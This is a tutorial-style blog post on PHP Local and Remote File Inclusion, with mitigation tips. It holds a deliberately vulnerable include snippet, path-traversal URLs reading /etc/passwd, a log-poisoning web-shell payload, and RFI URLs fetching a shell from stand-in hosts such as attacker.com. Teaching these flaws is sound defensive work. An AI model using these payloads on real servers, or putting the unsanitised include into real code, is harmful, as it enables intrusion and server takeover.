Sandbox99 Chronicles

Introduction

In the ever-evolving landscape of web security, one of the most underestimated yet critical vulnerabilities is File Inclusion. It often lurks in poorly coded PHP-based applications, silently waiting for an opportunity to expose sensitive server files or even allow remote code execution. Whether it’s Local File Inclusion (LFI) or Remote File Inclusion (RFI), the threat is real—and often devastating.

File inclusion vulnerabilities occur when user-supplied input is used to construct file paths dynamically without proper validation or sanitization. When exploited, attackers can read sensitive files such as /etc/passwd, retrieve logs, expose source code, or even execute remote payloads.

This post breaks down the key concepts behind File Inclusion, explores real-world risks associated with LFI and RFI, and walks you through a simple but insightful demo. Whether you’re a web developer, cybersecurity learner, or pentester, understanding these vulnerabilities is essential in securing web applications.

File Inclusion Vulnerabilities

File inclusion is a common vulnerability that arises when a web application dynamically constructs file paths using user-supplied input. This flaw is mostly found in PHP-based applications and occurs when developers use functions like include, require, include_once, or require_once without proper input validation.

An attacker can manipulate input fields or URL parameters to include arbitrary files from the local system or a remote server. This may allow unauthorized access to system files, application source code, or even remote code execution.

There are two main types of file inclusion vulnerabilities:

• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)

Let’s explore each.

🗂️ Local File Inclusion (LFI)

Local File Inclusion (LFI) refers to the inclusion of files that reside on the same server as the web application. The attacker typically exploits a vulnerable script that loads files using dynamic input (e.g., via GET parameters).

• Goal: To read files present on the target server itself.
• Common Targets (Linux):
  • /etc/passwd: Highly sought after to enumerate local users. Viewing this helps identify user accounts for potential brute-forcing or SSH key discovery.
  • /etc/issue, /etc/group
  • /etc/shadow: If globally readable or the web server runs with escalated privileges (e.g., root), this file (containing hashed passwords) can be accessed and combined with /etc/passwd for cracking.
• Common Targets (Windows):
  • Windows\System32\drivers\etc\hosts, win.ini, desktop.ini
  • user-specific files (requiring knowledge of usernames).
• Permissions: Emphasizes that you can only read files that the web server’s user has permissions to view. If a file (like /etc/shadow) is not globally readable, or the server isn’t running as root, you won’t be able to access it.
• Leveraging LFI: Beyond just reading files, LFI can be used to:
  • Discover SSH private keys to gain SSH access.
  • View log files that might contain sensitive information (passwords, usernames).
  • Activate previously uploaded files (e.g., a reverse shell uploaded via FTP/SMB) if combined with another file upload vulnerability.

🔍 Example Scenario #1

<?php
  $page = $_GET['page'];
  include($page);
?>

If the application is accessed like this:

http://example.com/index.php?page=about.php

An attacker could manipulate the URL like this:

http://example.com/index.php?page=../../../../etc/passwd

This would return the contents of /etc/passwd on a Linux system, revealing sensitive information such as system usernames.

💉 Log Poisoning (Advanced LFI)

Inject PHP code into the log file by manipulating the user agent:

User-Agent: <?php system($_GET['cmd']); ?>

Then access the log file:

http://localhost/vuln.php?page=/var/log/apache2/access.log&cmd=id

This executes the id command using the poisoned log as a pseudo backdoor.

⚠️ Risks of LFI:

• Reading sensitive configuration files.
• Source code disclosure.
• Log poisoning (injecting malicious code into server logs).
• Privilege escalation (in chained attacks).

🌐 Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include external files from remote servers.

• Goal: To load and execute files from an attacker’s controlled server onto the vulnerable web server. This is often used to gain a shell.
• Prerequisites:
  • For RFI to work, the PHP configuration on the target server must have allow_url_fopen and allow_url_include set to ON.
  • These are typically OFF by default, making RFI less common but highly impactful when found.
• Method:
  • Attacker hosts a malicious file (e.g., a PHP reverse shell) on their own web server.
  • The vulnerable application’s file inclusion parameter is directed to the attacker’s URL (e.g., http://your_ip/shell.php).
• Naming Conventions: Sometimes, the vulnerable application expects a specific file name (e.g., wp-load.php). In such cases, the attacker’s shell file should be renamed to match what the application expects to trigger execution.
• Null Byte (%00): Mentioned as an older technique (for older PHP versions) to bypass filters by terminating the file path.
• File Extension and Content-Type: If a PHP reverse shell is loaded but executes on the attacker’s machine, it suggests the server might be treating it as a text file. Renaming the .php file to a .txt file on the attacker’s server can sometimes bypass this, forcing the target to execute it as PHP.
• Getting a Shell: The ultimate goal of RFI is typically to obtain a reverse shell on the target machine.

🔍 Example Scenario #1

<?php
  $page = $_GET['page'];
  include($page);
?>

Now, if the attacker passes a remote URL:

http://victim.com/index.php?page=http://attacker_hosted_machine/shell.txt

And shell.txt contains malicious PHP code (like a reverse shell), it will be fetched and executed on the victim’s server.

🔍 Example Scenario #2

Host a payload at http://attacker.com/shell.txt with content:

<?php system($_GET['cmd']); ?>

Then access the vulnerable app:

http://victim.com/index.php?page=http://attacker.com/shell.txt&cmd=whoami

If successful, it will execute the whoami command on the target server.

⚠️ Risks of RFI:

• Full remote code execution.
• Backdoors and reverse shells.
• Complete server takeover.
• Lateral movement within internal networks.

🛡️ RFI Mitigation Tips:

• Disable allow_url_include in php.ini.
• Sanitize and whitelist all file inclusion inputs.
• Avoid dynamic includes when possible.

Final Thoughts

File inclusion vulnerabilities may seem straightforward, but they open doors to severe exploitation—especially in legacy PHP systems. Here are some key insights and takeaways:

• Always validate and sanitize user input. Never trust any part of the URL or form data to directly include files without strict whitelisting.
• Disable remote file inclusion on the server whenever possible (allow_url_include=Off in php.ini) to prevent RFI-based attacks.
• Least privilege principle matters. Web servers should run with limited permissions, reducing the blast radius if compromised.
• Logging and monitoring are essential. Many LFI attacks involve probing various file paths—detecting this early can help stop attackers in their tracks.
• Use tools like Burp Suite, OWASP ZAP, or custom scripts to test your applications for potential file inclusion points during development or audits.
• And most importantly, keep your software stack updated, as many vulnerabilities are fixed with newer versions or patches.

By grasping how LFI and RFI work and testing applications with real-world scenarios, developers and defenders alike can build more secure systems and prevent these classic but still prevalent attacks.